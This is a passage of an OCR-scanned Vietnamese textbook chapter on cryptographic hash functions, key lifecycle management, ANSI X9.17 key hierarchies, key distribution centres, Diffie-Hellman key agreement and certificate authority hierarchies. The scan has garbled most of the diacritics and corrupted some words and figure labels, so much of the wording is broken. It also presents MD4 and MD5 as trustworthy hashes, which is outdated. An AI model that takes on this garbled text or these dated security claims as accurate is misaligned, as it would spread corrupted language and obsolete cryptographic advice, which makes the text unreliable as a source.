thoi diém phét hanh, toan bd cac ham phan cit dang tin di st dung trong
cac mang hé thong mé la:

. Céac ham phan cat dua trén cac thuit toan m3 khoi nhu 1a DES
[MERR2]. Hai ham dua theo DES cu thé 1a, MDC2 va MDC4, d3 duoc dé
bat bo1 IBM [MATI].

- Cac loa1 cua ham phan cit 1a MD2, MD4, va MD5 [KALI1, RIV3,
RIV4]. Tat ca déu dua ra san pham 128 bit. MD2 la c{i nhat, d3 timg duoc
bao ham trong don de nghi thu dién t dé cao tinh an toan mang chinh vao
nim 1989. MD4 thi nhanh hon, dic biét trong bd xi 1y 32 bit, va cé thé
duoc ma hoa mot cach chat ché. MDS thi cham hon MD4 mot chut va co
thé khong duoc mé hoa manh ( trén thuc té. né duoc xem la yéu hon).

. Thuét toan phan cit an toan cta chinh phi M§ ( SHA), dic biét
trong FIPS PUB 180 va phan 2 cia ANSI X9.30. SHA 1a mdt su tra lip cia
MD4, ma tao ra san pham 160 bit ( cho tinh twong thich véi thuét toan
DSA). Kich ¢& clia san pham cang dai thi khi n3ng cua SHA cang manh
hon MD2, MD4, hoic MD5 va c6 thé duoc tréng mong dé thu lai su cong
nhan rong rai.

4.5 Gioi thiéu vé su quan 1y khoa

Cong ngheé mat ma da mo ta ¢ trén tat ca phu thudc vao cac khoa mat ma..
Quan Iy cac khoa nay 1a mot dé tai phirc tap va mét dnh hudng chu yéu dén
viéc cung cap an toan. Quan 1y khoa bao gom su dam bao gia tri cac khoa
da tao la phai co cac thudc tinh can thiét, tao ra cac khoa duoc biét trudce
cho cac nhom s€ su dung no, va dam bao rﬁng cac khoa duoc bao ve khi
can thiét chong lai su vach tran va/hodc su thay thé. Cac phuong phap quéan
ly khoa khac phu thudc can ban vao nhitng khoa do dang duoc quan 1y nhu
thé nao trong cac hé thong mi ddi xtmg hmac cac hé th{:mg ma kha::ua- chung

Tat ca cac khoa di c6 han ché trong sudt qué trinh. Diéu nay can thiét cho
hai ly do:

Loy ~ ; ~ . ~ N "A" 5 5o ~ A ¢
- Su gi1a1 mad cac mat ma da duoc lam dé dang bd1 moét s6 luwong lon
cac van ban ma; cang nhiéu khoa duoc st dung thi cang nhiéu co hoi
cho ke xam nhap thu thap van ban ma.



- Pua ra mot khoa co the tin duoc da thoa hiep, hodc mot qua trinh
ma hoa/giai ma vol mot khoa cu thé da ma hoa, han ché su ton tai cua
cac khoa , han ché su pha huy ma co thé xay ra.

Tho1 ky su dung mot khoa cu thé duoc xac nhan dugc go1 la thot ky ma hoa
cho khoa do.
Thong thuong, vong tron do1 song cua mot khoa bao ham cac pha sau:

. Su tao khoa va, co thé dang ky;

. Su phan b6 khoa;

- Su hoat dong va ngung hoat dong cua khoa;

- Su thay thé hoic cap nhat khoa ( thinh thoang goi1 la tair st dung
khoa);

- Su huy bo khoa; va

. Su két thuc khoa, lién quan dén su huy bé va , ¢é thé su niém ct.

Qua trinh tao khoa can dua vao dia chi dé nhén dang cac rang buodc
cho hé thong m3 chuyén biét ( vi du., tranh cac khoa yéu cho RSA). Qua
trinh tao nay ciing dam bao ring mot xi Iy ngau nhién s& bi anh hudng mot
cach chinh xac. Néu cé bat ky mdt thanh kién nao trong qua trinh chon lua
khoa, ke xam nhap sé€ su dung mot su tiép can mo1 mat co thé dem la1 lo1 ich
lon tu viéc thir cac ing ctr trude. Tac vu cung cﬁp mot su phat sinh con sO
ngau nhién phu hop cho muc dich nay sé khéng duwoc danh gia ding muc.
Mot qua trinh ngiu nhién, nhu 1a mét ngudn tap nhiéu ngau nhién ( phan
cimg), ¢6 kha ning duwoc dua ra. Mot qua trinh x& Iy phan mém giai ma
ngiu nhién thao tic theo mot chit viét tit dau tién ngau nhién bi mat co thé
twong ximg, nhung cac ky tu day du cta hé théng dé can duoc phan tich
mot cach can than trude khi gia dinh né pht hop véi su phat sinh khoa.

Su dang ky khoa lién quan dén V1Ec nbi két mot khoa da duoc tao
vo1l cach su dung cu thé cia nd. Vi du, mot khoa duoc su dung trong qua
trinh xac nhan mét chit k¥ dién t can dé han ché su nhan dang chit ky sé
quy cho. Qua trinh ndi két nay s& dwoc ding k¥ mét cach an toan cho mot
val su xac nhan.

Qua trinh xay dung khod dwoc an dinh trong phan 4.6 va 4.7. Qua
trinh hoat dong/ ngung hoat dong cua khoa va Su thay thé/ cap nhat khoa
cling bi lién quan dén qua trinh cay dung khoa.

Sur huy khoa cé thé can thiét trong mét sb truong hop duwoc chip nhin
. Cac 1y do dé huy khoa bao gom su g& b mot hé thong vdi cai khoa ma d3



lién két, su nghi ng mot khod cu thé c6 thé da duoc thoa hiép, hodc su thay
dd1 véi muc dich 1a khoa dé dang duoc dung ( vi du., su phan loa1 an toan
gla tang).

Su huy bo khoa lién quan dén qua trinh huy bé hoan toan tat ca cac
dau vét khoa. Gia tri ciia mot khoa cé thé van con ton tai lau sau khi né da
ngimg st dung. Vi du, mot chudi dit liéu d3 m3i hoa duwoc ghi lai bay gio co
thé van chira dung mot s6 thong tin ma van sé con do tin ciy trong vai nim
td1: su an toan cua bat ky mot khoa nao da dung cho muc dich tin cay sé can
dwoc bao tri cho dén khi théng tin d3 dwoc bao vé khong con can thiét bao
vé nita. Khi ning chng minh tinh hop phap cua chit ky dién tu trong phep
tho hop 1€ ( co thé trong val nam sau nita) phu thudc vao sy dam bao rang
cal khoa hoac nhitng cai khoa con la1 da duogc bao vé thong qua toan bo thoi
gian do. Diéu nay rat quan trong dé hiy bd mot cach an toan tit ca cac ban
sao chép cac khoa nhay sau khi hoat ddng cia chung két thuc. Vi du, né sé
khong c6 khi ning cho ké xdm nhép x4c dinh cac gia tri khoa ci bdi phép
kiém tra cac file dit liéu cii , ndi dung bd nhd, hoic thiét bi loai bé.

Su niém cét ciia mot khod va su lién két cia né duoc yéu ciu néu mot
ban sao di duoc bdo ddm clia mot khod co thé dwoc doi hoi tmng tuong lai,

vi du, khi1 gia tr1 phap ly hién nhién cta mot chit ky k§ thuét s6 cd cho muc
dich thira nhan. M6t qua trinh lién két nhu vay phai duoc bao vé tot, ca khi
tinh ven toan va s tin cy ctia khod s& luon can dugc bao tri.

Thong thuong, su bao vé mot khoa can c6 hiéu luc thong qua toan bo
th::n gian ton tai cta no, tir khi bat dau cho téi khi két thuc. Tat ca cac khoa
can duoc bdo vé cho muc dich ven toan, khi kha nang cua mot ké xam
pham sua d6i hoic thay thé céai khoa c6 thé lam tdn hai dén dich vu bao vé
cho cai khoa ma dang duoc st dung. Them vao do, tht ca cac khoé ngoai tru
khoa chung trong hé thé:-ng ma khoa — chung, can duwoc bao vé cho muc dich
tin vAy. Thuc té, cach an toan nhat dé luu trir mot khoa 1a trong vi tri an toan
vat ly. Khi an toan vat ly cua khoa khong thuc té ( vi du., kh1 no cin phai
lién lac tir noi nay dén noi khéc), khoa d6 phai duoc bao vé béi céc phuong
tien khac, nhu la:

- sur phan cong cho mot nhom dang tin cay, vi du,. mot nguo1 dua tin
chinh thirc s& dam béo su an toan cho nhitng thir 43 nim gift hoic d3
mang di;

- su dung mot he thé:-ng kiém soat ddi ngﬂﬁwuj no1 ma mot khoa duoc
tron thanh hai phan véi mdi phan déu dang duoc giao phé dé phan



chia nguoi vahodc méi truong cho cac muc dich truyén théng hoic
[uu trit trung gian; hoac

. su bao vé trong sudt qua trinh truyén thong, bdi su tin cay ( vi du.,
bing su mi hoa theo khoa khéc) va/ hoic cac dich vu ven toan.

Danh sach tiép theo gidi thiéu khai niém cua ca 16p cia su bao vé mat ma ( va cac
lop cua cac khoa) trong an toan mang. Khai meém nay sé& phat sinh tuan tur trong st quan
ly khoa.

4.6 Su phan bo cac khoa bi mit.
Sur phdn bé khoad sir dung cdc céng nghé doi xirng

Cac st dung thuong mai hoa chinh thirc cta cac hé thong m3 doi ximg bat
dau vao dau nhitng n3m 1980, dic biét 1a trong ngin hang, sau do la su
chuin hod cta DES va duong lwong nén cong nghiép ngan hang- thuét toan
Ma hoa Du lieu ANSI (DEA). Ung dung rong rai trong tuwong lai cua DES
d3 phat trién van dé 1a quan Iy cac khoa DES nhu thé nao [GRE1]. N6 dan
dén su phét trién cla tidu chuidn ANSI X9.17 vé quén Iy khoa thé ché tai
chinh (Wholesale), ma da duoc thanh lap vao nam 1985 [BALI].

M6t két ludn sém vé cong viec quan ly khoa thé ché tai chinh la nhiéu
cac lop cua cac khoa duoc can. Cac khoa da st dung cho thao tac ma hoa dit
li1éu lon sé -::::;11'1 chmrc thay d61 mot cach tuan tu hoan toan (vi du. trc:nng mot
phién hoic nén ting hang ngay). Mot cach r8 rang, No khong thé phu hop
duoc thdng qua cac hé thong phan b6 khoa théng thuong, béi vi gia tri cao
cua nhitng hé thc:ng nhu vay. Piéu nay da lam nhan ra hai kiéu khac biét cia
khoa — cac khoa riéng, duoc stir dung dé bao vé dit liéu 16n, va khoa mi hoa
cac khoa di st dung dé bao vé cac khoa chinh khi chung can phai lién lac tir
hé théng nay dén hé thdng khac. Mot khoa chinh khi di st dung dé bao vé
dit liéu trong sudt mot phién truyen thong, thinh thoang goi la khoa phién.
Mot khoa ma hoa khoathi go1 la khoa chinh.

ANSI X9.17 d3 tién xa hon theo ba mirc phan cap cia khoa:

. (A3 phan bd mot cach thong thuong) cac khoa chinh (KKs):;
- (da phan bo truc tuyeén) khoa ma hoa cac khoa (KKs); va
- cac khoa chinh, hoéc cac khoa dir lieu ( KDs).



Vé co ban, KKMs bao vé KKs hodc KDs doc duong. KKs bao vé KDs doc
duong.

Cac khoa chinh dang co ban cua moi lién hé khoa trong tuwong la1 gura
hai nhom lién lac. Co hai kiéu ciu hinh co ban . Pau tién, cau hinh tu diém
nay toi diém nay, duoc minh hoa trong hinh 4-9. Hai nhom lién lac chia sé
mot khoa chinh, va khéng cé nhém nao khac duoclién quan. Trong cau hinh
nay, nhom tao ra hodac KKs hodc KDs mao1 khi can thiét . va lién lac vdi
chung to1 nhom khac duoi su bao vé cua khoa chinh hoac mot KK.

l Sur thiét 1ap KKM( th
Nhom ‘—MMH}L? Nhom
A | Swu thiet lap KD( truc tuy BE B

H inh 4-9: C4u hinh diém nay téi diém nay

Van dé chinh véi kiéu cau hinh nay la, néu cé n nhom tat ca déu
mudn lién lac 13n nhau, sd luong cua cac khoa chinh da phan bo thong
thuong d3 can 1a bic n2. Véi mot mang 16n, van dé phan bo khoa tré nén rét
khé. Van dé nay duogc giam manh vol su gio1 thiéu cua mot trung tam khoa
trong cau hinh, duoc minh hoa trong hinh 4-10. Trong cau hinh nay, qua
trinh lién lac cac nhom can chia sé mdi khoa chinh mot trung tdim khoa,
nhung khong chia cho nhém khac. Vi vy, dbi véi n nhém , s6 luong cac
khoa chinh @3 phan b6 can 1a n.

C6 hai su khac nhau cta cac cau hinh trung tim khod — cdc trung tam
phan bo khod va cac tmng tam truyén dich khod. Véi trung tdm phan bo
khoa, khi mot nhom A muén thiét lap mot khoa vo1 nhom B, no do1 ho1r mot
khoa tur trung tam khoa. Trung tam khoa tao ra mot khoa da thiét ké va dua
né tré vé nhom A. N6 duoc quay trd vé trong hai dang — dang thir nhat duoc
bao ve theo khoa chinh da chia se gitta nhom A va trung tam, dang hai duoc
bao vé theo khoa chinh da chia sé gitta nhom B va trung tam. A g1t la1 cai
dau tién dé cho né st dung, va chuyén cai thtr hai dé nhém B st dung.

Mot trung tam truyén dich khoa la nhu nhau, ngoa1 tro no1 ma cac
nhém thich tao khoa theo yéu cau hon la trung tdm tao khoa. Khi nhém A



muon st dung mot khoa tu tao dé lién lac véi nhom B. no sé tao ra céi khoa
va gui1 no to1 trung tam, da bao ve theo khoa chinh da chia se gitta nho A va
trung tim. Trung tim gidi mi khoa chinh, m3 hoa lai n6 theo khoa chinh dé
chia se gitta nhom B va trung tam, va dua no quay tro lai nhom A, va dua
sang cho nhom B st dung.

Giao thirc quan Iy khoa hd tro cho nhitng chuyén do6i nhu vay cung
phéi cung cip su bao vé chong lai viée l3p lai qua trinh chuyén ddi khoa cii.
L3i s& c6 thé tao cho ké xAm pham co kha nang thay thé cac khoa, vi du.,
thao tac sir dung lap la1 mot khoa cli da lam ton hai vai lan trong qua khu.
Céc phuong thirc dé tin céng bd dém lip lai bao gdm:

Sur thiét 1ap KKM( thao tac) Trung Su thiét 1ap
KKM( thao tac) tam khoa

l i

Nhom Su_theLia.p_KK(_tum_tum Nhém

A Su thiét 1ap KD( truc tuyen B

H inh 4-10: Cau hinh trung tim kho4

. B dém khoa: Tat ca cac thdng béo truyén dich c6 sd niém phong
nd. S6 d6 sé bi ting theo mdi thong bao gitta mot cip cac nhom st
dung cung mét khoa ma hoa khoa.

. Khoang tréng khoa: Toéng s6 tuan tu lién quan dén khoa m3 hoé
khoa la Ored doc dao voi cai khoa do treoc khi no duoc st dung cho
sw phan b6 dé ma hoa céc khoa khic. Nguoi nhén cling bu lai khoa
mad hoa khoa vo1 cung tong s6 trude khi glal mé.

. Nhin thoi gian: Tat ca moi khoa truyén dich théng tin c6 nhin thoi
gian da niém phong vol no. Cac thong bao co nhan thot gian ma da
qua cl s€ b1 loa1 bo1 nguol nhan.

Tiéu chuan ANSI X9.17 dinh nghia mét giao thirc quan 1y khoa , vé
mat dinh dang thong tin nhu 1a Thong tin Dich vu Mat ma ( CSMs). Nhitng
thong tin nay da chuyen do1 gitta mot cap cac nhom dang lien lac de thiet



lap cac khoa méi va thay thé cac khoa cfi. Ching c6 thé dua cac khoa da ma
hoa va cac vector ban dau cho thao tic moc xich va cac ché do phan hdi cla
cac thao tac trong hé thong m3 d6i xting. Thong tin c6 thao tac kiém thi tinh
ven toan dua tren ANSI X9.9.

Trong ANSI X9.17, khoa dé m3 hoa cac khoa cé thé 1a médt cip khoa
hd tro ba l1an su m3 hoa ( m3 hoa vdi khoa dau tién, sau d6 giai mi véi khoa
thir hai, tiép theo 1a m3 hoa véi khoa thir nhat). Thuc chit 1 ting d6 dai cia
cac thuat toan.

Sur tiép can trén cua qua trinh su dung cac cong nghe a6i Xung de
phan b6 cac khoa dbi xtmg van duoc st dung trong nhiéu mdi truong. Tuy
nhién, n6é van dang duoc thay thé béi nhilng su tiép cdn mdi cho thao tac
phéin bd cic khoa d6i Xung, ma sur dung cac cong nghé khoa — chung va/
hoic phuong phap ngudn gbc khoa ctia Diffie- Hellman( thao luin sau &
chuong nay).

4.7 Kiém soat cach st dung khoa

Trong cac su thuc thi an toan mang hién dai, co rit nhiéu khoa khac
nhau ma da dwoc su dung cho nhiéu muc dich khac nhau. Vi du, cac khoa
chinh duoc st dung dé mi hoa va giai ma dit liéu, trong khi khoa dé m3 hoa
cac khoa duoc dung dé bao vé cac khoa khac trong sudt qua trinh phan bo.
Thém vao d6 dé bao quan tinh bi mat cia cac khoa, né rat quan trong cho
cac xtt Iy su phan bd khoa dé dam bao ring mét khoa da chi dinh cho mot
muc dich thi s& khong thay doi véi khoa duoc chi dinh cho khac muc dich
Diéu nay dua cho cac yéu cau dé niém phong, mét chi sé cho cach dung hop
phap khod, cting véi gié tri khoa. Vi du mot yéu cau, dua ra sw phan bo cho
cic khoa chinh va khoa mi hoa cac khoa déi xtmg. Cho ring né cé khi
ning cho mot ké xam nhip linh hoat thay thé mot khoé chinh véi mét khoa
da chi dinh cho muc dich cua khoa ma hoa cac khoa. Mot thiét b1 mat ma co
thé chd dé ¢ mot ché dd ma nd sé su dung mot khoa chinh dé glal ma mot
doan nhd vian ban mi va tra lai két qua ra ngoai thiét bi. Tuy nhién, giong
nhu mdt bién phéap bao vé , cing mot thiét bi s& khong c6 ché dd tra lai két
qua gid mi véi moét khoa mi hoa dit liéu ra ngoai ( két qua sé khong duoc
béo tri trong bd luu trit an toan vat Iy bén trong téi thiét bi). Néu mot ké xam
pham c6 thé 1lam chi thiét bi d6 nghia la mdt khoa m3 hoa khoa thuc su la
mbt khoa chinh ( vi du., bang thao tac can thiép vdi giao thirc phan bo khoa),
bay gid anh ta c6 thé st dung thiét bi dé gidi m3 ( va phan phat ra ngoai) céc
g1a tr1 cua cac khoa da duoc bao vé bo1 ca1 khoa ma hoa khoa.



Thao luan chi tiét hon vé chi dé nay, xem [MATI1].
Sw phdn bo khod théng qua sw truy cdp dudi quyén may chi

Kiéu ANSI X9.17 ctia hé thong phin bd duoc thiét ké dé thiét 1ap cac khod
c¢6 kha n3ng cho cac hé thong quan Iy cac hoat dong truyén thong dd duoc
bdo vé. Trong toan bo mang may tinh dién hinh, kiéu khac cua su doi hoi
phin b6 khoa cé thé ting. Doi hdi nay cling c6 thé thoa min khi st dung cac
cong nghé mat ma A6i xirng, cung vo1 su Xxac nhan va cac co cau kiém soat
truy cap.

N6 rat can thiét dé bao vé mdt file dén ndi mot nhom di han ché
ngudi st dung cé thé doc nd, trong khi tat ca nhitng nguoi con ai trong
nhém déu khong duoc. Céc file nhu vay ¢6 thé can duoc phan bo thong qua
cac phuong tién khong duoc bao vé khac nhau, nhu 1a gii thong bao dén
cac may chu cta file chung. Piéu nay cé thé dat duoc bdi nguoi st dung gb
m3 ho4 file sau dé phan bd file dé bing cac phuong tién khong duoc bio
ve. Su gia1 ma khoa duoc gul volr mot khoa tin cay to1 may chu, cung voi
mdt cau 1énh dé ai co tac quyén sé nhan khoa do ca giai ma file d6. ( Cau
lénhnay 1a mot ciu 1énh kiém soat truy cap, nhu la mot danh sach kiém soat
truy cap; Chuong 6 thao luin vé kiém soat truy cap chi t:et ).

Bat ky mot nguoi st dung nao duoc quyén yéu cau khoa tir may chu,
nhu’ng may chu sé€ khcmg chi hd tro kho4 sau khi xac nhan nguoi yéu cau va
kiém tra ciu lénh kiém soat truy cip cho phép ngudi st dung dé st hitu cac
khoa do.

Su truyén thong gifta nhitng nguoi st dung va may chi cta khoa can
duoc bao vé tin cay st dung cac phién truyén thong da duoc bao vé mot
cach doc lap.

Goi thong tin chira dung mot khoa va ciu lénh kiém soat truy cap (
thém céc thong tin khéc nhu 14 bo nhan dang thuit toan, thong s6, va thong
tin thoi gian ton tai) goi la mét géi khod.

Sur phdn bé khod sir dung cdc céng nghé khod — chung dao nguroc

Cac hé théng ma khoa- chung co thé thuan tién cho vuéc quan ly khoa, dic
biét cho cdc mang 1én v6 han dinh. Vi cac hé thong ddi xtimg hoan toan, nd
rat can thiét dé bao tri nhiéu méi lién hé khoa va dé pha huy cac trung tim
khéa truc tuyén déang tin cdy hodc cac may chi. Vi hé thong khoa- chung,
mot vai mbdi lién hé khoa xa hon can duoc bao tri. va cac khoa chung co thé
duoc phan bo khong can sw bao vé tin ciy ( chi dé nay dwoc thao luin



trong phan 4.7). Tong s6 nhiing thuin loi cta cac hé thong khoa chung, céc
hé thong d6i ximg c¢6 modt thuan loi chinh, ay la tong phi clia qia trinh thap
hon nhiéu so véi cac hé thong khoa- chung. Piéu nay tao nén su hap dan cia
chung cho sw ma hoa lon cua mot sb lvong lon dit Lieu.

Lo1 nhuan tu tAt ca cac thuan lo1 trén, mot tiép can lai co thé duoc
dung. Pé mi hoa dit liéu 1én. cac hé thémng ma hoa da duwoc st dung vi du.,
cac khoa chinh 1a cac khoa d6i ximg. Tuy nhién, hé thong cta khoa d6i
xtmg m3 hoa khoa duoc thay thé bdi mot hé thong m3 khoa- chung dio
nguoc. Vi du, néu nhém A muodn thiét 1ap moét khoa chinh d6i ximg véi
nhom B, str dung RSA, co co thé lam nhu sau. Pau tién nhém A 15,31 mot ban
sao chép khao chung cia nhom B ( st dung cac phuong phap da miéu ta
trong phan 4.7). Sau d6 nhém A tao ra mot khoa d6i ximg ngau nhién va gt
no téi nhém B, dd mi hoa theo khoa chung ctia nhém B. Chi duy nhat nhém
B c6 thé doc gia tri khoa ddi xing, vi chi nhém B biét khod riéng dung dé
giai m3 tin nhin. Vi vy hai nhém thiét 1ap dé chia sé kién thirc vé khoa d6i
xUing va co the tiép tuc str dung no dé bao vé dit liéu di lién lac véi nhau.

Co cau nay yéu cau khong ¢ cac may chu truc tuyén va khong cé su
thwong lwong cua hia nhom, phu hop vo1 nhitng ing dung nhu vay khi ma
hoa thw dién tr

Nguén goc khod Diffie- Hellman

M6t sur tiép can thay do6i dé thiét 1ap mot khoa chinh ddi xtimg c6 mot vai
thuan lo1 vuot qua ca su tiép can ma hoa khoa —chung & trén, da duwoc phat
minh béi Whitfield Diffie va Martin Hllman [DIF1]. Puoc goi la ngudn goc
khoa Ditfie- Hellman, hoac ngué}n g{;jc khoa mii. hoat dong cua no duoc
minh hoa trong hinh 4-11.
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Hinh 4-11: Ngudn goc khoa Diffie- Hellman

Cac nhdm A va B déng 3? truoe, theo mot sO nguyén to p va mot phan tfr
nguyen tm a trong GF(p) S6 nguyén to p c6 thé la (p-1) c0 mot thua $5
nguyén té 16n. Su ﬂﬂng y trén co ban cua cac hang s6 mé rong hé thong da
phat hanh hoac co thé 1a két qua tu cac cuoc truyen thong truoc ( chu vy, ca
hai nhém phai chic chin duoc biét cac gia tri ). Vi budc dau ti én trong qua
trinh xuit phat mot khoa, nhém A tao ra mot s6 ngau nhién x,

2 <x<p-2. Sau do nm tinh ax mod p va gui gia tr1 nay to1 nhom B. Nhom B
s& tao ra mot s6 ngau nhién y, 2 < y< p-1, tinh ay mod p, va g@i gia tri nay
cho nhém A. Sau d6 nhém A tinh (a’)" mod p va nhém B tinh (a*) mod p.
Ca hai nhom bay gio déu biét mot khoa chung, K= a™ mod p.

Trong khi viéc chuyén do6i nay dang xay ra, mot ngudi nghe trom co
thé dé& dang lay duoc cd ax mod p va ay mod p. Tuy nhién vi d6 phuec tap
clia viéc tinh cac loga roi rac, né khong dé bi 16 ra dé anh ta cé thé tinh
duoc x, hoac y, vi vay cling khong thé tinh duoc K.




? trong toan modun, khi mdt modun 1a mét s6 nguyén to p, bd cac s6 nguyén
duong mod p, cung vai thao tac toan hoc |, la moét truong ¢o han, vi du., mot
mién tich phan c6 han 1a tat ci c4 yéu td bén canh 0 cé mét nghich dao gép
nhiéu lan. B6 céc 85 nguyén duong nay duoc xem la mot truong Galois
GF(p). Phan t& s6 nguyeén t6 ctia GF (p)la mot sO nguyen a, 1 <a<p, do la a,
a%, ... aP", bang 1 s 2 p 1. vi du VOl p= 7 mot phan ti s6 nguyen to la a=

khi a=3, a® =a, a’= 6, a*= 4, a’= 5 va a°= 1. Céc phan t&t s6 nguyén to ]uc:n

ton tai.

Su tiép cin khod kiéu nay rat hitu ich, né phai duoclam véi mét xit 1y
su xac nhan cac thuc thé. ( c6 mot s6 diém trong qua trinh thiét 1ap motkhoa
vo1 nhém khac néu ban khong thuc su chic chin ai & nhom kia) Anh hudng
nay s& tiép tuc sau & trong sach, trong qua trinh thdo luan vé su xac nhén, su
tin cdy, va cac dich vu ven toan dir liéu va cac lién quan cua chung.

Ly do chinh ma tai sao ngudn gbc khod Diffie — Hellman tbt hon so
vl su mi hoa khoa chung cta cac khoa chinh 1a anh huéng nhiing han ché
clia né doi vdi S ton thuong he théng ma. Vo1 su ma hoa khoa —chung, néu
hé thong m3 bi ngit hodc néu khoa riéng d3 bi hong, tat ca cac khoa chinh
d3 bao vé theo hé thong do, va tat ca cac phuong tién di duoc bao vé theo
nhitng khoa chinh déu bi héng. Néu mdt ngudn Diffie- Hellman bi hong, chi
duy nhat phuong tien da duoc bao vé theo mot khoa chinh b1 hong. Su xac
nhan 151 ma pha huy mot cong nghé mat ma khac da khong bi thay doi béi
Diffie- Hellman, va nguoc la1

4.8 Su phan b6 ciia cac khoa hé théng ma khoa- chung

Cac yeéu cau phan b6 khoa cho céc hé thé:ng ma khoa- chung da ké thira tir
cac hé thong ma déi xing khac. Véi mdt hé thong mi d6i ximg, né can thiét
dé thay thé cac ban sao chép cia mot khoa dudi quyén kiém soat cia hia
nhom s€ sur dung no dé bao vé truyén thong gitta ho, trong khi nim giit céc
kién thurc ve bl mat khoa tu nhitng nhom khac. Vo1 mot he thc:-ng khoa-
chung, no can thlet dé thay thé mét kh{:}a ( khoa rieng) duo1 quyen kiém soat
ciia mot nhom, nam gitt kién thirc vé bi mat ciia no tir nhitng nhém khac. Tai
cung thoi ﬂlem do, mot khoa co lién quan ( khoa Ghung) duoc tao ra cho bat
ky ai ma muodn lién lac mdt cach an toan véi ngudi nim gitt khod riéng.



Su phan bo khoa chung

Qua trinh phan bd mot khoa chung khong doi hdi dd tin ciy. Tuy nhién, ban
chat ciia né 1a tinh ven toan cia khoé chung phai duoc bao tri. S€ khong co
bat ky co ho1 nao cho ké xam nhap thay thé mot vai gia tr1 khac cho nhu’ng
cal ma nhom B tin la khoa chung cua nhom A. Ngoai ra, cac kiéu tan cong
sau co thé thanh cong. Mot ké xam nhip gid mao mdt tin nhin xuat phat tir
nhém A, va tao ra mot chit ky dién t& st dung khoa riéng ctia anh ta. Ké tan
cdng sau do s& thay thé khoa chung ctia anh ta cho cai ma nhém B tin 14 cia
nhom A. Phep thuw chit ky dién tu cua nhom B ( s dung mot khoa chung
sail) s& dinh ra ring tat ca déu dung, vi du., ké tan céng di thanh cong trong
sur g1a mao la nhom A

Vi vay, su phin b6 ctia cac khoa chung s& khong don gian bang qua trinh
xuét ban ching trong thu muc dién thoai ( trir phi nhitng nguoi st dung
c6 mdt murctin ciy cao trong thu muc dé, ma cé thé rat kho dé dat
dugc).

Diéu nay dan dén la cac khac chung dang duoc phin bd trong cac
dang chung nhan . Mot chung chi, no1 thong thuong la mot cau truc dit
liéu ma duoc thiét ké bdi mot vai nhém ma nhiing nguoi st dung chung
chi day tin tuédng. Mot chimg chi khoa —chung 1a mot cau tric dit liéu ma
rang budc nguol dinh dang cua mot var nhom ( chu c‘té) Vo1 mot gia tri
khoa- chung. Cau tric dit liéu chimg chi duoc kv bdi mét vai nhom khac
nhu la mot xac nhan chung chi.



CHUNG CHI

Chu dé: “G. Smith”

Khoa chung= Phu luc
“01101011000101001...” chit ky
dién tu

Ngay két thic= “ 31 thang 9 1999~

Chit ky dién tu da tinh
trong no1 dung, su dung
khoa riengcuaAcme

Hinh 4-12 minh hoa mét ciu tric cho mot ching chi.

Céc chimg chi khoé- chung c¢6 thé duoc luu trit va duoc phan bo theo
phuong thirc khong bao vé, bao gdm su phat hanh trong mét thu muc ma cac
dich vu khong dang tin ca‘f Cung cip mot ngudi st dung ma biét trude
khoa chung xac thuc cua quyen chung chi, ma ngu’m sir dung co thé kiém tra
tinh hop 1€ cua chit ky dién tir trong chung chi. Néu két qua dung, nguol su
dung c6 thé tin twdng ring chung chi dua ra mot khoa hop 18 cho viéc dinh
dang nhom.

Trong cac mang doc lap (vi du., mot mang tu tr1) tao thanh mot he thong
dé nhén biét. Vé co ban, tat ca cac hé thmng nguoil su dung trong tuong la1
da dua ra, thong qua mot vai phuong tién de nhan ra ( vi du su phan b thao
tac), mot ban sao chép khoa chung ctia giay chimg thuc ciia mang. Sau dé
ho ¢é thé st dung kho4 nay dé phén loai cdc chimg chi khoéa — chung cho tat
ca nhitng nguoi st dung mang khac, vi viy dé dang dat duoc khoa chung
ctia bat ky ngm’;ri st dung nao nhu mﬁy

Su tlcp can chimg chi cling m¢ rong cho mdi truong nao ma lién quan
t‘:‘Ien nhiéu giay ching thuc: vi du., no1 nao ma né khéng kha thi cho mc:t
gidy chimg thuc don dé biét va chimg nhan tit ca cac khoa chung cua tt ca
cac nhém truyén théng. Cho ring nhém B 1a trong mién cia gidy ching thuc
CA,, mudn duoc mot ban sao chép tin ciy cia khoa chung cia nhém A, la
nhom ma nim trong mién cia giay chimg thuc CA;. Cac quy én duoc phan
cﬁp cho CA,va CA, tin cay lAn nhau, CA, sé& chuin b1 qé phat hanh mot



chimg chi ma chimg thuc khoa chung cia CA, va CA, sé lam nhu vy d6i
vol khoa chung CA,. Chung chi duoc dua ra, thém chung chi khoa- chung
cua nhom A da phat hanh bd1 CA;, nhom B co thé dat dwoc mot ban sao
chép khoa chung ctia nhém A. Nhém B lam nhu vy béi qua trinh thu 1an
dau tién ( tir chimg chi CA, vé khoa chung CA;) mot ban sao chép tin cay
ctia khoa chung. Sau d6 nhém B st dung khoa nay dé phan loai chimg chi
vé CA1 khoa chung ctia nhéom A.

Su sﬁp ::v;ép O trén da tao ra mot kich ban ma bat ky mot chudi tincay
nao théng qua cic gidy ching thuc két ndi nhém A va B. Cung cap mot
chudi chimg nhan hoan thanh c¢é sin, va cung cap nhom B dd nguyén nhéin
tin tuwéng nhimg ngudi phat hanh chimg chi trong chudi dé, nhém B ¢ kha
ning dat duoc mot ban sao chép khoa chung ciia bat ky nhém A nao cd thé
to1 dugc thong qua mot chudi tin cay nhu vay.

Pon gian hoa cau tric cia nhitng chudi nhu vy va han ché do6 dai cta
chung, cac gidy chimg thuc cé thé duoc to chirc trong mot phin cap, vi du.,
dwocminh hoé trong hinh 4-13. Piéu nay c6 thé dwoc mé rong cho pham vi
toan cau. vi du.. c6 mot giﬁy chumg nhan qu:;jc té ma chung thuc cac van dé
vé gidy chimg thuc quoc gia (cac co quan cta chinh phu, cic tip doan, hoic
cac to churc khac), va v..v...

CA int

Cert Int-UK 1Cert Int-US
Cert UK-Int Cert US-Int
CA UK | CA us
Cert UH—E Cert UK-A ”I:erl us-C .-Cart us-D
A B C D

Example: Cerificates used by A to cobtain public key of C:

Cert UK-int Cert int-US Cert US-C

Figure 4-13: Example of a Hierarchical Cerification Authonty Struciure



Chu thich: Vi du: Chimg nhéan béi nhém A dé thu duoc khoa chung
cua nhom C

Gia su r?ing} trong Hinh 4-13, CAy 1la mot gidy ching nhan xac thuc
quéc té va CAyg va CAys la cac ching nhén xac thue doi véi timg quéc gia
Anh va M¥. Gia sit nhém A trong nay chinh phtt Anh mu6n mét khoa chung
d3 duoc chimg nhan cia nhém C trong nudc M§. Piéu nay cé thé dat duoc
bing cach st dung mot chimg nhéan bao gdom 3 chimg thuc:

Cert-UK-Int (Chimg nhan ctia chinh phi Anh cho kho4 chung cta t6
